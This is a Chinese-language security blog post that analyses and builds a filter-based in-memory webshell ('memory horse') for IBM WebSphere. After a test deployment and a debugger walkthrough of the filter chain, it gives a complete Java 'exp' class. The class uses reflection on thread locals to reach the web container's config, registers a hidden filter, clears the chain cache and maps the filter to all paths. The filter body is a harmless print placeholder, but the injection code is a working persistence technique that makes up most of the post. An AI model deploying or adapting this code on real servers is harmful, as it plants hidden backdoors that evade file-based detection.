websphere内存马 构造分析过程

前言

WebSphere 是 IBM 开发的一套应用程序服务器和相关软件工具的集合,主要用于构建、部署和管理企业级 Java 应用程序。本文主要是从0到1分析websphere中filter内存马的分析构造分析

环境搭建

websphere环境搭建过程可以参考https://xz.aliyun.com/t/12278

HelloFilter.java

import javax.servlet.*;
import java.io.IOException;

public class HelloFilter implements Filter {

    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
    }

    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
            throws IOException, ServletException {

        System.out.println("this is HelloFilter!!");
        chain.doFilter(request, response);
    }

    @Override
    public void destroy() {
    }
}

HelloServlet.java

import java.io.IOException;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

public class HelloServlet extends HttpServlet {
    private static final long serialVersionUID = 1L;

    protected void doGet(HttpServletRequest request, HttpServletResponse response)
            throws ServletException, IOException {
        response.setContentType("text/html;charset=UTF-8");
        response.getWriter().write("<html>");
        response.getWriter().write("<head><title>Hello Servlet</title></head>");
        response.getWriter().write("<body>");
        response.getWriter().write("<h1>Hello, World!</h1>");
        response.getWriter().write("</body>");
        response.getWriter().write("</html>");
        new InjectFilter();
    }
}

TestFilter.java

import javax.servlet.*;
import java.io.IOException;

public class TestFilter implements Filter {

    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
    }

    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
            throws IOException, ServletException {

        System.out.println("this is TestFilter!!");
        chain.doFilter(request, response);
    }

    @Override
    public void destroy() {
    }
}

web.xml

<servlet>
    <servlet-name>HelloWorldServlet</servlet-name>
    <servlet-class>org.example.HelloServlet</servlet-class>
</servlet>

<servlet-mapping>
    <servlet-name>HelloWorldServlet</servlet-name>
    <url-pattern>/hello</url-pattern>
</servlet-mapping>

<filter>
    <filter-name>HelloFilter</filter-name>
    <filter-class>org.example.HelloFilter</filter-class>
</filter>

<filter-mapping>
    <filter-name>HelloFilter</filter-name>
    <url-pattern>/hello</url-pattern>
</filter-mapping>

<filter>
    <filter-name>TestFilter</filter-name>
    <filter-class>org.example.TestFilter</filter-class>
</filter>

<filter-mapping>
    <filter-name>TestFilter</filter-name>
    <url-pattern>/*</url-pattern>
</filter-mapping>

编写Filter和Servlet,配置web.xml,生成war包,在websphere管理后台中上传war包部署

点击Install,选择war包上传

一直next即可,到Step4,修改Context Root

点击Save保存即可

分析过程

本文是参考https://xz.aliyun.com/t/12278 的另一种Filter内存马的构造方式

在HelloServlet下断点,进入到图中所示的帧中,可以看到在此次调用到wrapper.doFilter(),而wrapper对象是通过this._filters.get()得到的

继续向上,可以看到调用了fc.doFilter(),在fc对象中存在_filters属性,里面就保存了所要调用的filter的信息

查看fc对象是如何构造的,可以看到这里是通过this.getFilterChain()得到的

在该方法里会调用到this.getFilterChainContents()得到fcc对象

跟进该方法,可以看到首先通过缓存来获取,这里由于之前访问过已经存在缓存了,在此次下断点重启服务

重启服务后再次请求可以看到this.chainCache为空,通过this.webAppConfig.getUriFilterMappings()得到所有的filter,保存在servletFilterMappings里

遍历所有filter,得到与请求路径匹配的filter,添加到fcc对象中

得到的fcc对象中的_filterNames属性中保存要经过的filter对象的名称

得到fcc对象之后,返回到WebAppFilterManager#getFilterChain(),调用this.getFilterInstanceWrapper()实例化对应的filter对象,接着将该对象添加到newChain过滤器链中

跟进this.getFilterInstanceWrapper()分析filter对象的实例化过程,首先会从this._filterWrappers中查看是否存在已经实例化的,如何不存在会调用this.loadFilter()

在loadFilter()中接着调用到this._loadFilter()

跟进到_loadFilter(),可以看到程序通过this.webAppConfig.getFilterInfo()来获取需要的filter对象,所有的filter都保存在filterinfo属性里

fcc对象获取过程

1、this.chainCache中存在,直接返回fcc对象
2、this.chainCache中不存在,从servletFilterMappings中获取filter信息与请求路径进行匹配,将匹配的filter名称保存到fcc对象中返回

得到fcc对象之后,就会遍历fcc对象中的_filterNames,实例化filter对象并添加到newChain中,而filter对象都保存到filterInfo中

通过该上面的分析就可以得到注入的流程

1、获取程序运行时上下文
2、将filterconfig添加到filterinfo中
3、将this.chainCache的内容设置为null
4、将自定义的filter添加到servletFilterMappings

exp构造过程

Step1

Context可以通过线程类来获取,使用java-object-search来在线程中搜索所需要的对象

通过下面的代码可以得到一个SRTServletRequest对象

SRTServletRequest srtServletRequest = null;
Object wsThreadLocals = getField(Thread.currentThread(), "wsThreadLocals");
if (wsThreadLocals != null) {
    for (int i = 0; i < Array.getLength(wsThreadLocals); i++) {
        Object obj = Array.get(wsThreadLocals, i);
        if (obj != null && obj.getClass().getName().contains("WebContainerRequestState")) {
            obj = getField(obj, "currentThreadsIExtendedRequest");
            obj = getField(obj, "_requestContext");
            srtServletRequest = (SRTServletRequest) getField(obj, "request");
            break;
        }
    }
}

该对象下存在一个getServletContext()方法可以获取到 servlet 上下文

Step2

获取到Context后,下一步就是实例化一个FilterConfig对象,在FilterConfig类的构造方法下断点,重新启动服务

可以看到在WebAppConfigurationHelper#constructFilterInfos()中实例化了FilterConfig对象,还调用了setFilterClassName()和setName()来初始化filter的基本信息

使用下面的代码来获取FilterConfig,webConfig的值可以通过反射从线程得到

public static FilterConfig getFilterConfig(WebAppConfigurationImpl webConfig) {
    FilterConfig f = new com.ibm.ws.webcontainer.filter.FilterConfig(null, webConfig);
    f.setFilterClassName(FilterClass);
    f.setName(FilterName);
    return f;
}

接着调用WebAppConfiguration#addFilterInfo()将实例化好的FilterConfig对象添加到FilterInfo中

Step3

第三步是将this.chainCache的值设置为空,这样当下一次请求的时候就会重新获取fcc对象来生成newChain

这里不能直接将chainCache设置为null,需要将chainCache设置为Collections.synchronizedMap(new LinkedHashMap(20, 0.75F, true))

WebAppFilterManagerImpl filterManager = (WebAppFilterManagerImpl) getField(object, "filterManager");
Map chainCache = Collections.synchronizedMap(new LinkedHashMap(20, 0.75F, true));

field = filterManager.getClass().getSuperclass().getDeclaredField("chainCache");
field.setAccessible(true);
field.set(filterManager, chainCache);

Step4

在FilterMapping类下断点,可以看到FilterConfig#addMappingForUrlPatterns()中实例化了FilterMapping对象

可以看到FilterMapping都保存在ArrayList对象中,那就可以通过反射获取到该对象,接着调用该对象下的add()方法向数组中添加一个元素

ArrayList uriFilterMappingInfos = (ArrayList) getField(object, "uriFilterMappingInfos");
uriFilterMappingInfos.add(filterMapping);

完整exp

package org.example;

import com.ibm.ws.webcontainer.filter.FilterMapping;
import com.ibm.ws.webcontainer.filter.WebAppFilterManagerImpl;
import com.ibm.ws.webcontainer.srt.SRTServletRequest;
import com.ibm.ws.webcontainer.webapp.WebAppConfigurationImpl;

import com.ibm.ws.webcontainer.filter.FilterConfig;
import javax.servlet.*;
import java.io.IOException;
import java.lang.reflect.Array;
import java.lang.reflect.Field;
import java.util.*;

public class InjectFilter {

    private static final String FilterClass = "org.example.InjectFilter$FilterShell";
    private static final String FilterName = "FilterShell";
    private static final String pattern = "/*";
    static {
        try {
            SRTServletRequest srtServletRequest = null;
            Object wsThreadLocals = getField(Thread.currentThread(), "wsThreadLocals");
            if (wsThreadLocals != null) {
                for (int i = 0; i < Array.getLength(wsThreadLocals); i++) {
                    Object obj = Array.get(wsThreadLocals, i);
                    if (obj != null && obj.getClass().getName().contains("WebContainerRequestState")) {
                        obj = getField(obj, "currentThreadsIExtendedRequest");
                        obj = getField(obj, "_requestContext");
                        srtServletRequest = (SRTServletRequest) getField(obj, "request");
                        break;
                    }
                }
            }

            // Step1 获取到Context
            Object object = getField(srtServletRequest.getServletContext(), "context");
            WebAppConfigurationImpl webconfig = (WebAppConfigurationImpl) getField(object, "config");

            // Step2 构造一个FilterConfig对象,并将该对象添加到FilterInfo中
            FilterConfig filterConfig = getFilterConfig(webconfig);
            List<String> urlPatternMappings = new ArrayList<>();
            urlPatternMappings.add(pattern);

            Field field = filterConfig.getClass().getDeclaredField("urlPatternMappings");
            field.setAccessible(true);
            field.set(filterConfig, urlPatternMappings);
            webconfig.addFilterInfo(filterConfig);

            // Step3 清空chainCache的值
            WebAppFilterManagerImpl filterManager = (WebAppFilterManagerImpl) getField(object, "filterManager");
            Map chainCache = Collections.synchronizedMap(new LinkedHashMap(20, 0.75F, true));

            field = filterManager.getClass().getSuperclass().getDeclaredField("chainCache");
            field.setAccessible(true);
            field.set(filterManager, chainCache);

            // Step4 构造一个FilterMapping对象,并将该对象添加到uriFilterMappingInfos里
            FilterMapping filterMapping = new FilterMapping(pattern, filterConfig, null);
            object = getField(filterManager, "webAppConfig");
            ArrayList uriFilterMappingInfos = (ArrayList) getField(object, "uriFilterMappingInfos");
            uriFilterMappingInfos.add(filterMapping);

        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static Object getField(Object o, String s) throws IllegalAccessException, NoSuchFieldException {
        Field field = null;
        try {
            field = o.getClass().getDeclaredField(s);
        } catch (Exception e) {
            try {
                field = o.getClass().getSuperclass().getDeclaredField(s);
            } catch (Exception e1) {
                field = o.getClass().getSuperclass().getSuperclass().getDeclaredField(s);
            }
        }
        field.setAccessible(true);
        return field.get(o);
    }

    public static void setField(Object o, String s, Object t) throws NoSuchFieldException, IllegalAccessException {
        Field field = null;
        try {
            field = o.getClass().getDeclaredField(s);
        } catch (Exception e) {
            try {
                field = o.getClass().getSuperclass().getDeclaredField(s);
            } catch (Exception e1) {
                field = o.getClass().getSuperclass().getSuperclass().getDeclaredField(s);
            }
        }

        field.setAccessible(true);
        field.set(o, t);
    }

    public static FilterConfig getFilterConfig(WebAppConfigurationImpl webConfig) {
        FilterConfig f = new com.ibm.ws.webcontainer.filter.FilterConfig(null, webConfig);
        f.setFilterClassName(FilterClass);
        f.setName(FilterName);
        return f;
    }

    public static class FilterShell implements javax.servlet.Filter {

        @Override
        public void init(javax.servlet.FilterConfig filterConfig) {
        }

        @Override
        public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
            System.out.println("getShell!!");
            chain.doFilter(request, response);
        }

        @Override
        public void destroy() {
        }
    }
}

参考

https://xz.aliyun.com/t/12278

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值